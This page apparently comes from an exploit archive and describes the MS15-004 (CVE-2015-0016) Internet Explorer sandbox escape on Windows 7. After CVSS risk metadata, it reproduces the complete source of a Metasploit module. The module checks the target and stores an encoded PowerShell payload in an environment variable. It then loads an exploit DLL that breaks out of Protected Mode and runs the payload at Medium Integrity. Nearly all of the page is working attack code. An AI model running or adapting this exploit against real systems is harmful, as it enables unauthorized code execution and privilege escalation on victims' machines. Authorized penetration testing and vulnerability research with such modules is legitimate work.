Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape

2015.02.03
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, { 'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape', 'Description' => %q{ This module abuses a process creation policy in Internet Explorer's sandbox, specifically the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape the Protected Mode, and execute code with Medium Integrity. At the moment, this module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # From Threat Intel of Symantec 'Henry Li', # Public vulnerability analysis 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Arch' => [ARCH_X86], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 30 }, 'Targets' => [ [ 'Protected Mode (Windows 7) / 32 bits', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-0016'], ['MSB', 'MS15-004'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/'] ], 'DisclosureDate' => 'Jan 13 2015' })) end def check temp = get_env('WINDIR') dll_path = "#{temp}\\System32\\TSWbPrxy.exe" win_ver = sysinfo['OS'] unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/ return Exploit::CheckCode::Safe end unless file_exist?(dll_path) return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit print_status('Checking target...') unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'System not vulnerable') end if session.platform !~ /^x86\// fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment') end win_ver = sysinfo['OS'] if win_ver =~ /Windows 2012|Windows 8/ fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment') end print_status('Checking the Process Integrity Level...') unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NotVulnerable, 'Not running at Low Integrity') end cmd = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true } ) print_status('Storing payload on environment variable...') cmd.gsub!('powershell.exe ','') session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd) print_status('Exploiting...') temp = get_env('TEMP') # Using the old meterpreter loader, if it's loaded with # Reflective DLL Injection the exceptions in the sandbox # policy won't apply. session.core.load_library( 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), 'TargetFilePath' => temp + '\\cve-2015-0016.dll', 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false ) end def cleanup session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil) super end end

References:

http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/


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